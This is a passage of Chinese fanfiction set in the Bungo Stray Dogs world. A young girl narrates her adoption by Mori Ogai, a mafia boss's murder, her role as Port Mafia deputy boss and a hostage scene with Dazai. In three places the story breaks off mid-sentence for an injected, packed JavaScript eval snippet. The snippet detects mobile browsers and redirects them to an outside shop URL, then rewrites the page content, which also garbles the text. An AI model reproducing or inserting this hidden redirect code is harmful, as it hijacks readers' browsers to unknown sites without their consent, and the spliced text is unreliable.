我推了推他的胳膊,没有得到回应后开始慌张起来,最近在电视上总能看到那种躺地不起的老年人,保姆姐姐说一碰到这种人就会被讹得倾家荡产,流落街头。 一想到那些人的惨状,我忍不住哇的一声大哭起来。 “完蛋了,都怪你!我把人撞死了!我不要背上巨额债务最后惨死街头啊!” 一个未成年哪来那么多钱啊! 在我哭得不能自已时,那个人突然抽搐了几下。 我停止哀嚎。 然后他揉着脑袋坐了起来,“好痛......欸?” 看见我时他一愣,好像在确定什么似的说道,“小女孩?” 一瞬间,我感觉周围的温度都降了几个度。不过在对上视线的那瞬间,我突然发现,他的眼睛—— 竟然是紫色的欸。 “哎呀呀,这可不是适合淑女的奔跑速度。”他站起身,阴影落在我身上,“你的父母没有教过你,在马路上奔跑会撞到不划算的东西吗?” “我是孤儿。”我拽着他的白大褂起身,没注意对方有些意外地挑了挑眉,自顾自地说道,“我没有父母。” 小孩说的话,怎么能算骗人呢! 对方听见这句话后蹲下身,连声音都温柔了起来,“那你有受伤吗?别担心,我是医生哦,连白大褂都穿着呢。” 欸?原来这样还能博得别人的同情吗?我双眼一亮,仿佛发现了新大陆。 “别亮了,再亮你就变成灯泡了。”我妈的声音突然在脑海响起,“接下来按照我说的做,我说什么你就说什么,听懂了吗?” “啊?为什么?” “哪来那么多为什么,”我妈话锋一转,“这可都是为你好。” **** 森鸥外的兴趣达到了顶峰。 他的嘴角勾起一抹弧度,似笑非笑地看着眼前这个小女孩,向对方表达了适度的关心。 一个不知道从哪冒出来的小女孩差点把他撞到归西,怎么看都不像是寻常事。 她是谁派来的?街头混混?亡命徒?还是那些不知好歹的黑-帮成员? 估计是后面那个的可能性大一点,毕竟他前几天刚“不小心”医死几个可怜人。 就在此时,女孩说话了。 “你能不能......”她似乎很纠结,“晚点回诊所?” “哦?”森鸥外觉得好笑,“为什么?” 回应他的是长达半分钟的沉默。就在森鸥外的耐心即将耗尽时,女孩深吸一口气。 “你最好不要回诊所但你硬要回去的话我也没有办法只能提醒你带一些防身武器否则你会受伤的!”女孩一连串的话让他有些发懵,刚想细问,没想到对方突然大喊,“你别问了,这都是我刚才看到的!” 随后她一溜烟地跑了,速度快到森鸥外还没反应过来。 “防身武器吗......”森鸥外盯着女孩的背影,召唤出爱丽丝。 穿着护士服的金发女郎出现,她双手拿着巨型针管,温柔地问道,“主人,您找我?” 夕阳西下。 诊所内一片狼藉,地上堆满了歪七扭八的尸体,让这间本就狭小的诊所更加拥挤。 阴森的气氛并没有影响到坐在座位上的森鸥外,他百无聊赖地转着手术刀,满脑子都是下午遇见的那个小女孩。 尸堆传来痛苦的呻吟,森鸥外不耐烦地将手术刀插进那个人的喉咙里,随后起身看向门外。 一片金光,此刻正是黄昏。 然后,森鸥外突然笑了。 “我看到的......预言吗,真是个意外的收获啊。”他喃喃自语,说着谁都听不清的话,“看来......有必要去一趟孤儿院了。” 5. 关于我的第二任爸爸 “为什么总是感觉心慌慌的呢?难道院长发现我偷吃今天的晚餐了吗?” 撞人事件过去一天,我捂着心脏小声吐槽。 我妈听见后严肃地批评了我:“请不要妄自菲薄好吗?你的异能用的很出色,那个蘑菇头根本看不出来。” 我瞪大眼睛,“欸?你的批评点竟然在这里吗?” “再怎么说我也是你妈好吗?那家伙好几天才让你吃顿饭,我自然不会给他什么好脸色。” “啊,可院长先生也看不到你的脸色啊。”我用勺子将米饭和水搅匀,一口气喝了下去。 “真是不理解,人类为什么要把米饭和凉水组成的东西叫做茶泡饭。”我妈骂骂咧咧地吐槽道,“要我说,这东西就应该叫水泡饭!” 我真是举双手双脚赞成我妈的话了。不过转念一想,孤儿院里能有什么好茶水呢,起码我还会偷饭吃,我对目前的现状接受良好。 我开始给中岛敦换尿布。 “你没发现蘑菇头其实很奸诈吗?”我妈盯着我熟练地脱扔换洗晾,终于忍不住开口了,“让一个‘怪物’照顾另一个‘怪物’,他难道不怕你俩联手整死他吗?” “所以这两天院长先生都没来过这个房间啊......”我说到一半停住了,有些害怕,“但按照那个家伙的狠心程度......他该不会在这个房间里撒毒药了吧,无色无味的那种?” 一时间,我妈也陷入了恐慌,“应该不会吧,这个邪恶的蘑菇头......” 就在这时,我似乎听见了别的声音。 “欧卡桑。” 我妈的声音紧随其后,“嗯?叫我干什么?放心啦我肯定不会让那个邪恶的蘑菇头得逞的。” “欧卡桑~” “你要是还不放心的话,咱们就把这个孤儿院炸了拉到......欸?!” “喂,”眼看事情朝着奇怪的方向发展,我立刻出声打断,“你在自言自语些什么啊?” “我哪有自言自语!”我妈看起来有些气愤,“你刚刚一直叫我干什么?” “我没有啊。” “胡说!这房间除了我和你还有别人吗?” “这话说的,这房间没有一个正常人类好吧!” “是吗,我怎么记得有一个呢......” “哼,”我冷笑一声,“谁啊?” 气氛诡异地安静了下来。我捏着手里的尿布,好像想起了什么似的缓缓转头,恰巧我妈此时也合上了书页。 随后我俩恍然大悟,异口同声道:“中岛敦!” 我立刻飞奔到婴儿床前,床上的小婴儿此时正在傻乐,他的嘴巴一上一下,我狐疑地俯下身,认真倾听。 果不其然,那道细微的声音传来,“欧卡桑~欧卡桑~” “妈呀,他说的是日语啊。”我大为震撼,“这么小就会说话了吗?太神奇了!” 我妈倒是没那么震惊,只是欣慰地说道,“竟然在叫妈妈......看来你这几天的照顾很有成效啊。” 一提起这个,我瞬间自豪起来。毕竟在我的照顾下中岛敦很少哇哇大哭,唯一一次还是我妈忍不住手欠。但基于我才是那个将他哄好的人,所以这一次就不算数了! 嗯,没问题,今天的我也很厉害! 我美滋滋地看向还在呼唤妈妈的中岛敦,又发现了别的问题。 “总觉得这个称呼不大合适。”我陷入沉思,“感觉叫姐姐会更好点。” “喂,不要打击小敦的自信啊,他这个年纪能开口说话都是奇迹了。” “那能不能在人多的时候叫我妈妈?”我突然灵光乍现,“然后再叫院长一声爸爸,这样他就会因为疑似猥亵儿童被关进监狱......” 就在我试图把这顶帽子扣在院长身上时,门突然开了。 “雪奈。”被我即将陷害的人站在门外,他的脸色十分阴沉,“你跟我来。” 真的是一瞌睡就有人递枕头。我抱起中岛敦,可怜兮兮地问道,“那我可以抱着中岛敦去吗?他离不开我。” “不可以,你单独跟我出来。”院长先生大步流星地走了过来,完全不顾婴儿的脆弱将他放了回去,然后抓住我的胳膊就往外拽,“从今以后,你不用再照顾中岛敦了。” 纳尼?难道我天衣无缝的计划暴露了吗?我才不要创业未半而中道崩殂! 我掰着他的手指拼命呐喊,“我才不要!你这个邪恶的蘑菇头......” “会有专门的保姆照顾他,你这个怪物还是离远一点最好。”他对我的控诉充耳不闻,手上的力度丝毫不减,自顾自走到大厅。 大厅里,一个穿着白大褂的修长身影背对着我。听到声音后他转身,灯光打在他脸上,露出了厚厚的黑眼圈。 “好久不见,雪奈。”然后他看向我,笑眯眯地打招呼,“我们又见面了。” 院长先生此时推了我一把,虽然说着祝福的话但我一点也没听出来:“恭喜你,雪奈。你被收养了。” “啊,是你。”我盯着那双熟悉的紫色眼睛问道,“你为什么要收养我呢?” 我没有别的意思,只是单纯好奇。毕竟孤儿院里有那么多小孩,比我讨喜的更不在其数。难道是因为那天相撞撞出感情来了吗?! 反正我是不相信的。 我抬头,仔细回忆着那天的事。 抛开前者不谈,那问题就出现在我说的那些话上了。那些话可是我妈让我说的,尤其是最后一句“这都是我刚才看到的”我妈更是再三强调。 等等,我看到的......在那一刻我恍然大悟,收养这件事情突然变得明朗起来。 很显然,面前这个疑似医生的人也是异能者,并且在他眼里,我应该是个会“预言”的同类。 想到这里,我在脑海里呼唤了我妈。 “这就是你为我找的,呃,”我斟酌着用词,“第二任爸爸吗?” 我妈痛快地承认了,“嗯,和那个政府官员相比,或许这个才是最适合你的。” 适合吗?我看着对方蹲下身,露出来和那天一样的笑容:“因为我们是一类人。我叫森鸥外,你呢?” 他伸出手。 一类人吗?怎么听起来有点中二气息呢。 不过我还是郑重地回答了这个问题。虽然早就知道对方肯定从院长先生那里知道了我的名字,我还是握上他的手,“很高兴认识你,我叫雪奈霜枝。” 与阳葵的收养不同,我的这位新爸爸没有等到第二天,而是当天下午就决定把我领走。 在离开前,我委婉地提出想和好朋友道别的要求。森鸥外只是你对我笑了笑,“刚好,我也有些事情要和院长说呢。” 在得到他的同意后,我马不停蹄地冲向婴儿房。 成功支开保姆姐姐,我企图向我妈寻求帮助。 顺带一提,这位保姆姐姐就是给我和阳葵梳头的那位。其实我的谎言有些明显,但善解人意的保姆姐姐只是摸了摸我的头,随后退出了房间。 我就说这个孤儿院里只有院长先生才是唯一的坏人! 我开始跪求我妈关于中岛敦的事,没开玩笑,我当时真的是下跪了。 这倒是把我妈吓了一跳,沉默许久,才吞吞吐吐地让我撕一页空白书页,“没想到你对这小家伙儿这么上心,早知道当时就不......嘶,你轻点!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135664|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啊抱歉抱歉,我太着急了,然后怎么做?” “将书页折成纸飞机。”我妈说,“让它在室内飞一圈。” 我对自己放飞纸飞机的技术还是很有自信的。小小的纸飞机绕着婴儿床稳稳地飞了几圈,最后没入中岛敦的身体里。 我有些惊讶,“这是......” “好了,你放心吧,书页会保佑他。”我妈愉快地说,“这下我们就是血脉相连的亲人了,等他长大,你就可以回来接他了。” 身后传来敲门声,是保姆姐姐。 “小枝,你的爸爸正在找你哦。” “我们该走了。” “嗯,我知道。” 我试图捧中岛敦的脸,但他的脸蛋和一个六岁女孩的手相比之下还是太小了,我只好改成单手拖住他的后脑勺。 “我们约定好了,”我轻声说,“我到时候会来接你的,你要记得我。” 小婴儿似乎听懂了我的话,对我露出一个傻里傻气的笑容。 金色的光在他眼里绽放,又一次,我想起了黄昏时的微光。 **** 森鸥外牵着我走在康庄大道上。 我抬头偷瞄他,因为这个情况还是有些尴尬,我还试图向我妈寻求帮助,但它只是扔下轻飘飘的一句“自己的爸爸要亲自培养感情啊”就消失了。 我深吸一口气。 加油啊,雪奈! “爸爸......”我用小指划了划他的掌心,在得到对方的侧目后我问道,“为什么说我们是一类人?” 我觉得我这个问题问得十分完美,一箭N雕:1.我完美地扮演了一个对自身能力懵懂的小女孩形象,最大限度降低对方的防备; 2.这能打破现在的尴尬场景,将焦点转向安全的知识问答环节; 3.主动确认彼此的特殊性,快速建立情感枢纽,满足他对我作为同类的期待。 天,我可真是个小机灵鬼! 我对这个问题十分有信心,觉得肯定能打开新爸爸的话匣子,谁能想他只是轻笑一声,将问题抛了回来。 “为什么这么问?” 我:...... 这可真是个万能回答啊! 我一时无语,不知道说些什么好。 好在对方也没有太为难我,在我说出更万能的回答“不知道”后耐心地讲解了起来。 虽然有些知识我已经从我妈那学到了,但根据他的回答,我总感觉这家伙在酝酿什么大阴谋。 我这么想着,也这么问出来了。 没想到对方突然大笑起来,像得了羊-癫-疯一样:“......阴谋?真是充满魅力的词汇啊!” 好了,这下更感觉对方有中二病了。 “真是失礼。”他笑完之后摸了摸我的头,“你有被吓到吗?” “呃,一点点吧。”我摇摇头,“我说的话这么好笑么?你都笑弯腰了。” “一点点吧。”他也这么说道,随后温柔地说道,“我只是突然想告诉你一件事。” “是什么?” 夕阳照在他脸上,我清晰地看见对方下意识眯起眼睛,下意识张开嘴,下意识勾起微笑。 他说,“能收养你是我这辈子最幸运的事。” 噗通——噗通——噗通—— 我有些受宠若惊地低下头。 “是吗?”我大脑一片空白,小声说道,“那我是不是要说,被你收养也是我此生最幸运的事呢?” 一如既往的沉默。 我握紧他的手,脸颊有些发烫。 真是奇怪,我想。 今天的风有这么刺眼吗? 6. 关于港口Mafia 关于我在港口Mafia的故事,还要从我六岁时说起。 被森鸥外收养后,我才发现他不只是个黑医那么简单。他和许多见不得光的地下势力都有关联,尤其是那个叫港口Mafia的组织。 他们的首领身体很差,三天一小病,五天一大病。有一次甚至马上就要嗝屁了,听说当时的干部们连棺材都备好了。但谁也没想到,森鸥外竟凭借高超的医术将人硬生生救了回来。从那之后,我们便从地下诊所搬进了港口Mafia。森鸥外成为了首领的私人医生,我和爱丽丝跟着他打杂。 那年我九岁。 我在港口Mafia混得还不错,反正大家对一个只有九岁的小屁孩没有什么防备。我靠着乖巧的外表获得了不少人的喜爱,其中也包括后来那五位旗会成员。 当然,这个故事稍后再说,毕竟那时还没旗会呢。他们决定在钢琴家升职当天成立旗会。 顺带一提,我还去参加了庆功宴,钢琴家做的蛋糕很好吃。 我们在这里待了大约两年。到我十一岁时,首领的身体状况急速下降,从前还能坐着发号施令,如今只能躺在床上靠药物续命。 明眼人都能看出来首领快要不行了,只有那个老头自己看不出来。或许他也心知肚明,只是不愿意面对,反而变本加厉地发布各种荒唐命令,试图抓住那点微末的权力。 我十二岁那年,首领虽还活着,但真正的掌权人已经变成了森鸥外。我的这位爸爸似乎在为如何光明正大地掌权而忧心。 于是,十二岁生日的前一晚,我偷偷潜入首领的病房。 我的计划很简单,我要弄死这个老东西,再伪造一份传位于森鸥外的遗嘱。反正这几年来我模仿过他的笔迹发布过无数次命令,这些早已烂熟于心。 病房还是一如既往地安静,窗帘拉着,导致这里很黑。 鉴于自己要干的不是什么好事,我没开灯,毕竟人要对自己有信心。 然后我就后悔了。 在脑袋上多出了一只男性手掌后,这种情绪就更加强烈了。 那一瞬间我想起好多,仿佛看见了自己短短的一生。我哽咽着握紧了手术刀,决定临死前一定要带走首领背后的这个男人! 就在此时,头顶上的手突然拍了拍我的脑袋,耳边传来熟悉的声音,“小枝,吓到你了吗?” 我一愣,呼出一大口气。 森鸥外这个混蛋! 灯开了。 森鸥外笑眯眯的样子出现在我眼前。 “吓死我了!我还以为自己暴露了呢!”我嘟囔着拍开他的手,“你为什么在这里?” 话刚说出口我就后悔了。我感觉这个问题显得我像个智障。 好在森鸥外没在意这个小插曲,他拿走我手里的手术刀说道,“我来为你庆生啊。” TMD你要不要听听自己在说什么啊! “在这里吗?”我环视周围,抱臂埋怨道,“我才不要,还有,你是不是记错了我的生日?我明天才过呢!” “没有哦,小枝。”森鸥外比划了一下手术刀说道,“这种事情总不能让一个女孩子来做吧。” 旁人听到这句话或许会觉得莫名其妙,但作为森鸥外的乖女儿和此次事件的隐藏肇事者,我一下子就高兴起来。 原来我俩的目的是同一个啊!这么一想我和森鸥外简直就是心有灵犀!有一种父女俩的心性自然是最像了的感觉! 欸嘿,我美滋滋地想着,连音调都提高了几个度,“需要我拟写一份遗嘱吗?” “当然。”森鸥外挥刀的速度快到飞出了残影,在我还没反映过来的时候,病床上的老东西就归西了。 莫名地,我盯着他脸上怪异的笑容,感到一阵寒冷。 ......窗户没关吗? “当然,小枝,但一份遗嘱显然是不够的。”森鸥外脸上保持着微笑,转了一圈手术刀,扔向窗帘,“如果有一个见证人的话......” 手术刀斜着划开窗帘钉在墙上,呲啦啦的声响过后,一个胳膊和右脸缠着绷带的人露了出来。 “如果有一个见证人的话,可信度会更高。”森鸥外说,“你说呢,太宰君?” 窗帘旁的黑发少年没有说话,只是露出来的那只左眼中,闪着死寂的光。 这,也是我黑手党时期的开始。 **** “你再说一遍我的任务?”我抬起头看向座位上的眯眯怪,终于忍无可忍叫了他的大名,“森鸥外?” “哇,称呼转变得这么快嘛。”我亲爱的上司依旧笑眯眯地说道,“就算你以下犯上,这个任务也要派给你哦。” 他到底有没有睁眼?可恶,我讨厌眯眼怪! “帮助高层捉奸......为什么不让底层外交部人员去做,而是交给我这个副首领?” 没错,鄙人雪奈霜枝,今年十四岁,已经是港口Mafia的副首领了! 这是森鸥外送给我的十二岁生日礼物。 “可能是为了彰显我们有多重视这位高层?”森鸥外将他的首领令牌扔过来,“坐我的专车去。” “谢谢,就算没有令牌司机也会送我的。”我将钥匙扔回去不屑说道。毕竟首领的日常起居都是我在安排,在他们眼里,我们几乎是一体的。 让我遗憾的是钥匙并没有砸在首领有坑的脑袋上,而是被稳稳接住。 可恶啊! “小枝,我要吃ARIAKE HARBOUR家的HARBOUR SOFT!”一直在旁边画画的爱丽丝突然蹦蹦跳跳地来到我面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135665|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抓住我的袖子。 “没问题哦。”我摆正她头上的蝴蝶结,转身向门口走去。 “加油哦,副首领!任务完成会有奖金哦!” 什么奖金啊,拿我的奖金给某位员工当工资吗?别以为我不知道你就是为了他才找了个借口把我支走! 我加快脚步,冷笑一声。 想在中原中也心底留下好上司的印象吗?没门!我过后就把这件事写到《今日要闻》上面去! 这个任务其实蛮无聊的,我知道这是森鸥外找的借口,森鸥外也知道我知道是他找的借口,但我还是坐着专车去了酒店。 毕竟副首领副首领,终归还是首领的下属来着。 不过是一人之下万人之上的那种! 外面烈日很大,我盯着空中的太阳想着后续事件的处理。如果用四个字概括的话,那就是威逼利诱。 威胁丈夫离婚,逼迫第三者归还财产,利用高层身份维护名声,诱迫见证人员三缄其口,这个时候只需要我这个副首领上去劝说几句,嘱咐几句,警告几句,这件事就完美解决了。 Bingo!真是如此地完美且无聊,我看了眼手表,时间很充足,我一定能赶上新鲜出炉的冰淇凌! 车子在酒店前稳稳停下,我下车时司机已经打好了黑色的遮阳伞。 虽然我很讨厌这个颜色。 走了几步后我还是忍不住开口。 “车上没有别的颜色的伞吗?” “很抱歉,大人。”司机弯腰回复,“首领车上没有其它颜色的伞。” “马上就有了。”我边走边说道,“去买一把七彩的,要能把森鸥外闪瞎的那种彩色。” “......好的,大人。” 不愧是能成为首领专属司机的男人,我欣慰地点头。 下次我就让你开上七彩的车! 向前台表明身份后,小姐姐如释重负地呼出一大口气,带着我上了十八楼。 受害者就在电梯门口等候,不过让我意外的是,被出轨者竟是个男性。 “大人,您来了。”男人故作坚强地上前,眼角适时滑落一滴泪水,“原谅我的无礼,但港口Mafia就是这么对待高层的吗?” ?跟港-黑有毛关系!难不成破坏你们夫妻感情的是我们的人吗? ...... ...... 等等,我突然反应过来。被害者为男性,出轨者为女性,第三者是黑手党的人...... 总有一种不祥的预感! 我踹开门。 “hi,小枝~” 第三者嚣张地坐在沙发上,黑色的风衣和脸上的身份都在明晃晃地告诉我他的身份。 果然是这个混蛋! “太宰治!” 7. 关于我和太宰治 太宰治,一个传奇的小男孩。 他比我大两岁,喜欢吃螃蟹。我一度认为他是吃螃蟹吃得脑袋瓦特了,否则怎么天天邀请别人和他殉情! 在我义正言辞地拒绝并扬言再来烦我我就把他和狗关在一起后,这家伙消停了。 然后他就邀请我去撩小姐姐。 我把他揍了一顿。 他服了,安静地工作了两周。 没想到魏尔伦事件刚过去一周这家伙又开始作妖了! 我所说的魏尔伦,是来自英国的一名杀手,素有“暗杀王”之称。他和港口黑手党渊源颇深,确切来说,是和组织里的我。 因为这家伙在中也加入港-黑大半年后摧毁了我们的资料室! 上万份工作报告和部分机密文件都被摧毁了,而恢复资料这个任务又被派给了我这个倒霉蛋! 整整一个月,我连港-黑大楼都没有踏出一步,窝在资料室里恢复文件,以至于那些资料都记得清清楚楚。 反正短时间内我是不会再踏入资料库一步了! 而魏尔伦也成为了我的仇人,单方面的! 那位高层一看见太宰治就激动得不行,躲在我身后声泪俱下,“就是他,大人!您可要为我做主啊!” 肇事者一脸无辜地摊手,往茶几上扔了一沓照片和几张文件。 照片里的主人公脸色瞬间难看起来。 “你还有什么要说的吗,谷山先生?” “果然瞒不过你啊。”身后的人直接拿走了我腰间的枪,对准我的太阳穴,“放我离开,否则我就杀了这女娃陪葬!” 此刻一脸茫然的我:......。 发生什么事了?难道一个月没离开港-黑大楼就与外界脱节了吗?怎么成为人质了? “你有什么要求?”太宰眼皮都没抬一下,问道。 “我要此次宝石交易的百分之二十五!”男人加重力度,毫不客气地说道,“还有证件,我要出国。” “你妻子呢?”我盯着角落里一动不动的女人好奇问道,“你不带走她吗?” “呵......” 许是听见了我的回应,角落里的女人突然双眼发红,不知道从哪掏出来一个巨大的锤子。 那一刻,我恍然大悟。 “哦~原来她不仅是你的妻子还是你的异能啊,”我下意识开口,“好变态哦。” 不知道为什么,沙发上的少年投来一个看热闹的眼神。 男人恶狠狠地说,“少废话,你搞不清自己的处境吗?” “你就算能走出这个房间,也走不出酒店的。”我低头看了眼时间,确定那家店开门前我能及时赶到后放心说道,“不出意外的话,我们的人应该将这里包围了。” 锤子猛地砸下,同时太宰治发动异能,女人抽搐几下消失不见,此刻也响起扳机被扣下的声音。 “那你就和我一起下地狱吧哈哈哈哈......欸?” 我转头,面无表情地看向他。 然后给了对方一个过肩摔。 “这不可能!我明明扣动扳机了!”谷山不甘心地大喊。 “啊,我在车上就把子弹换下来了,它现在是个空弹匣。”我掏出子弹一颗颗装好后,用枪顶住他的太阳穴,“有遗言吗?” “你不可能杀我的。”谷山神秘兮兮地说,“我知道很多秘密。” 我承认他的话勾起了我的好奇心,挑眉示意他继续说。 “我知道那位新成员的身份,他和你的仇人关系匪浅。我还知道有人即将陷入性命之忧,就在不久的将来......”谷山讨价还价道,“你最好留着我的命,我可以只要百分之十。这个交换很划算吧?” “我们有更划算的方法,”太宰慢悠悠走到我身边,“零成本哦,副首领。” “看来你和我想到一块去了啊太宰,那太好了,这个任务就交给你了,你一定要把他安全地送到红叶姐手上!” 既然疑似第三者的人已经捉到了,后续的处理交给当事人吧,就当是为了洗清自己身上的冤屈了! 毕竟首要任务肯定是爱丽丝的甜点啊,森鸥外那些什么乱七八糟的东西顺带做做就好了。 我一边美滋滋地想着,一边将谷山敲晕。 “好了,该去做更重要的任务了。”我拍拍手,将配枪交给太宰治。 “你真是毫不客气呢,小枝,这算是职场霸凌吗?” “工作的时候请称职务。”我拍拍他的肩膀,沉重说道,“这可是上司器重你的表现,加油哦,我相信你就是下一任干部!” “欸——下一任干部吗?听起来比上次的休假券还要诱人呢,话说回来,大人我的休假券您什么时候可以给我?” “啊哈哈哈哈,你说什么,风有点大我没听清欸......”我尬笑着踢开谷山,有些心虚地离开。 休假券还分什么你的我的,大家一起用多好啊,可恶的太宰治,就不怕上司给你偷偷穿小鞋吗? 我走得很快,太宰也没有来拦我,估计认为我下一个任务真的很重要吧。 毕竟外面这么热的天气,冰淇凌的保存还是有一定难度的。 我出酒店时,穿着一身黑西装的司机已经等候多时了,他冲我微微鞠躬,打开了一把五彩斑斓的伞。 那一瞬间我有些后悔了。 为什么伞上是各式各样的螃蟹啊! “大人,您之前订的餐品已经做好了,请您示下。” 司机为我打开车门,我进去后命令对方往未来区的方向开。 一想到马上就能看见爱丽丝甜甜的笑容还有点小开心呢。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135666|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欸?我只点了两份冰淇凌啊,这四瓶草莓牛奶是怎么回事?” 我在店里茫然地看向另一份礼品袋。 难道是看我太可爱给的赠品吗? “这是我们为了回馈老用户出的活动,小姐。”店员小姐姐笑着将装着牛奶的袋子递了回来,“您在我们店里累计消费了十万日元,是尊贵的VIP客户。” 竟然是这样吗,可这里的消费都是走得报销来着......我有些犹豫,最后还是接了过来,再怎么说这可是我身份的象征,大不了给森鸥外喝! **** 另一边,首领办公室—————— “首领,您找我?” “啊,中也君,你来了。”森鸥外望向走进来的赭发少年,脸上浮现出惯常的微笑,“宝石交易的任务做得如何?” “最新一批已于今天上午抵达横滨租界,成交价格比上次提高了2.5个百分点,买家是中区的那家‘黑曜石’。”中原中也恭敬地汇报道,“下一批到达时间预计是三天后。” “做的很完美啊,中也。”森鸥外赞许地点点头。 确实很完美,或者说实在是过于完美了,尤其考虑到眼前这位少年不过十六岁。森鸥外陷入回忆,想起夏目老师那句“钻石要用钻石打磨......” 话是没错,只是,雪奈那家伙......森鸥外有些头疼地叹了口气,该选择谁来打磨她呢? 太宰吗?森鸥外微不可察地摇摇头,雪奈需要一块稳定的磨刀石,而太宰那孩子变数太多,况且为了“三刻构想”,他迟早要离开黑手党。 眼下看来,合适人选只有一人。 “你觉得雪奈怎么样?” “副首领她......很适合黑手党。”中原中也的表情有一瞬的凝滞,但很快恢复正常,“我从副首领身上学到很多。我将这副身躯献给组织,然后,我将这颗心献给您与副首领。” “你的忠诚我从不怀疑,中也。不过忠诚并非言语就能证明,终究要看行动。” “是,首领。” “当然,你最近的表现已经充分证明了这点。”森鸥外话锋一转,“这次叫你来是有别的任务。宝石交易的事先交给下面的人跟进。” “是......与副首领有关吗?” “准确来说,是关于你和雪奈两个人的,那家伙还不知道这件事呢,等她回来恐怕又要跳脚了。”森鸥外像是想到了什么高兴的事,轻笑一声,“在哪里来着......啊,总算找到了,给。” 中原中也双手接过资料,看见标题后愣了几秒。 最上方,“挑战状”三个大字明晃晃地位于正中间,笔迹十分嚣张。 内文只有一行字,带着扑面而来的杀意。 ————“中原中也,雪奈霜枝,你们死期已到。” 8. 关于我和尾崎红叶 “呀吼~爱丽丝,我回来啦,看我给你带回来什么——当当!有明港湾家的招牌草莓牛奶冰淇凌!店家还赠了我四瓶草莓牛奶哦,不仅如此,我还给你买了可爱的蝴蝶结和小洋裙......啊,中也,你好。” 我拎着满满一大袋货物而归,开心地打开门,结果就看见中原中也一脸便秘的样子站在那里。 “副首领。” 他微微鞠躬朝我示意,我便顺道跟他打了个招呼。 “既然副首领回来了,中也你先退下吧。” “是。” “爱丽丝,你跟着哥哥一起好不好?接下来是大人之间的事情哦。” “小枝才不是和林太郎一样讨厌的大人呢!哼,我也不想跟林太郎呆在一起。” “爱丽丝酱连生气都是这么可爱啊~” 在森鸥外一脸陶醉的样子中,二者离开了房间。 我终究还是没忍住开口,“森鸥外。” “怎么啦,雪奈?” “爱丽丝是你的异能是吧?”我想了想,觉得这家伙目前听不出来我的鄙视,于是进一步解释道,“你也知道,即使她出去也能知道这里发生的事情吧?” 当事人理直气壮地回应,“嗯,对啊。” ......我百分百怀疑他是没听出来我的鄙视。 真是变态中的变态啊。 “雪奈。” “嗯?” “你把心里话说出来了哦。” “......哪有!你听错了吧,年纪大听力就是不好啦,你要多休息,小心秃头哦。” “让你如此担心,真是失礼了呢。” “哎呀,你知道就好。” 如果爱丽丝在这里就好了,她一定会毫不犹豫地站在我身边......等等,难道这就是森鸥外的目的,想让我处于孤立无援的境地吗? 我眼神立刻犀利起来,这个老变态! “好了,不要在心底偷偷骂我了,这次找你来有更重要的事。”他递给我两张纸,“你看看。” 两张挑战状,只不过内容不同。通篇对比下来就是暗杀对象从我和中原中也变成了我和森鸥外。 他娘的这是哪个混蛋写的!怎么两张都有我?我非死不可吗?! “左边这张是原件,而右边这张我稍微做了修改。”森鸥外笑眯眯地说,“这个任务,你和中原中也一起完成。” 怪不得那家伙用那种表情看我,我还以为他想喝我手里的牛奶呢......话说过了一年,我怎么感觉他没长个儿呢? 一定是我的错觉吧,嗯。 我低头看向这两张纸。 既然真正的被暗杀对象是港-黑的两位首领,那就说明森鸥外给中也看的是假的这张。可是为什么呢? 测试中也的忠诚度?可这家伙自从进了组织以后就开始朝五晚九地工作,勤勤恳恳任劳任怨的,工作精神比我和森鸥外都足。难道真的有人表面上为公司累死累活,真实目的却是为了从内部搞垮它吗? 图啥啊。 我这么想着,便也这么问了。 “雪奈你的问题还是一如既往地愚蠢呢。”森鸥外笑容未变,“这样让我真的不放心啊。” “不放心提早退休把组织交给我管理吗?那你纯属多虑了,不就是为了荒霸吐嘛,我懂,我都懂。” “这个时候智商又占领高地了呢。” “所以你打算什么时候退休?我成年吗?” “呵。”森鸥外冲我招招手,等我过去时又伸出食指顶住我的额头,慢慢用力推远,笑容瘆人道,“你休想。” 我此刻在去审讯班的路上。 至于原因,还要从我和首领的那场对话说起。 在森鸥外将我推开后,我梗着脖子抗议。 “真是让人伤心!你那三十七度的嘴竟然能说出这么冰冷的话吗?不能带点温度吗?” “说起这个,雪奈,我保准接下来的话会让你感到温暖哦。” “......真的吗?” “嗯,是的,我忘了告诉你,”森鸥外表情缓和了一点,“那封挑战状的发起人是魏尔伦哦。” ......这算什么好消息啊!他已经是我的仇人了! 不过,说起这个仇人,我突然想起谷山说的那句话。 我明明没跟任何人提过这件事啊。 事情就是这样,嗯。 多亏了我的老父亲,我才想起来那个人的存在,况且我有理由怀疑这个家伙就是我那已经失踪五年的老妈。 